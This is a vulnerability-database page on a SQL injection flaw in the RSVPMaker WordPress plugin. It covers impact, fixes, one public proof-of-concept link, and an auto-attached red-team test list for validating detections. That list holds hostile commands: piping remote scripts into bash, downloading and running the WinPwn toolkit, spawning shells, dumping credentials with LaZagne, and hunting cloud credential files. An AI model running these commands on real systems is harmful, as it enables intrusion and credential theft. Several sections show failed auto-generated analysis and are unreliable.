CVE-2023-41652
Overview
This vulnerability is a SQL Injection flaw caused by improper neutralization of special elements within SQL commands. The root cause lies in the failure to sanitize user-supplied input before incorporating it into database queries. The affected component is the RSVPMaker WordPress plugin, specifically versions up to and including 10.6.6, where dynamic SQL statements are constructed without adequate input validation.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in David F. Carr RSVPMaker rsvpmaker allows SQL Injection.This issue affects RSVPMaker: from n/a through 10.6.6.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries on the backend database, potentially extracting sensitive information such as user data or configuration details. This can lead to unauthorized data disclosure and partial disruption of service due to database manipulation. The attack requires no user interaction or valid credentials, enabling remote exploitation with minimal prerequisites, thereby posing a significant threat to data confidentiality and system integrity.
Solution
Users of David F. Carr RSVPMaker should upgrade to a version later than 10.6.6 where the issue is addressed. The Patchstack advisory at https://patchstack.com/database/vulnerability/rsvpmaker/wordpress-rsvpmaker-plugin-10-6-6-sql-injection-vulnerability?_s_id=cve provides detailed patch instructions and version information. Applying the vendor-provided patch or updating to the fixed release is the recommended mitigation to eliminate this SQL Injection vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in RSVPMaker arises from improper neutralization of special elements used in SQL commands, commonly referred to as SQL Injection. This flaw allows an attacker to manipulate SQL queries by injecting malicious input into the application. When user-supplied data is not adequately sanitized, it can lead to unauthorized access to the database, where attackers can execute arbitrary SQL commands. This vulnerability affects versions of RSVPMaker from its inception through 10.6.6, making it critical for users of this software to understand the implications of such a flaw.
Attack vectors for this vulnerability are diverse, primarily relying on user input fields such as search boxes, login forms, or any other interface that interacts with the database. An attacker could craft a malicious input that alters the intended SQL query, enabling them to retrieve sensitive information, modify data, or even delete records. For instance, an attacker might input a specially crafted string that bypasses authentication checks, allowing unauthorized access to user accounts or administrative functions. The exploitation of this vulnerability could be executed remotely, making it particularly dangerous as it does not require physical access to the affected system.
The real-world impact of this SQL Injection vulnerability is significant, posing substantial business risks. Organizations utilizing RSVPMaker could face data breaches, leading to the exposure of sensitive information such as user credentials, personal data, and financial records. This breach could result in reputational damage, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the financial implications can be severe, with costs associated with incident response, remediation, and potential fines from regulatory bodies. The high CVSS score of 8.2 reflects the critical nature of this vulnerability, underscoring the urgency for organizations to address it.
Detection and mitigation strategies are essential for organizations to protect themselves against this vulnerability. Regular security assessments, including penetration testing and code reviews, can help identify and remediate SQL Injection vulnerabilities before they are exploited. Implementing input validation and prepared statements or parameterized queries is vital to ensure that user inputs are treated as data rather than executable code. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests. Organizations should also prioritize keeping their software updated to the latest versions, as updates often include patches for known vulnerabilities.
In conclusion, the SQL Injection vulnerability in RSVPMaker presents a significant threat to organizations that rely on this software for event management and communication. The potential for data breaches and the associated business risks necessitate a proactive approach to security. By implementing robust detection and mitigation strategies, organizations can safeguard their data and maintain the trust of their users. Awareness and education about such vulnerabilities are crucial in fostering a culture of security within organizations, ultimately leading to a more resilient cybersecurity posture.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Carrcommunications | Rsvpmaker | All |
cpe:2.3:a:carrcommunications:rsvpmaker:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2023-41652
RSVPMarker <= 10.6.6 - Unauthenticated SQL Injection
|
RandomRobbieBF | 0 | 0 | 2024-11-07 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-41652 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/rsvpmaker/wordpress-rsvpmaker-plugin-10-6-6-sql-injection-vulnerability?_s_id=cve |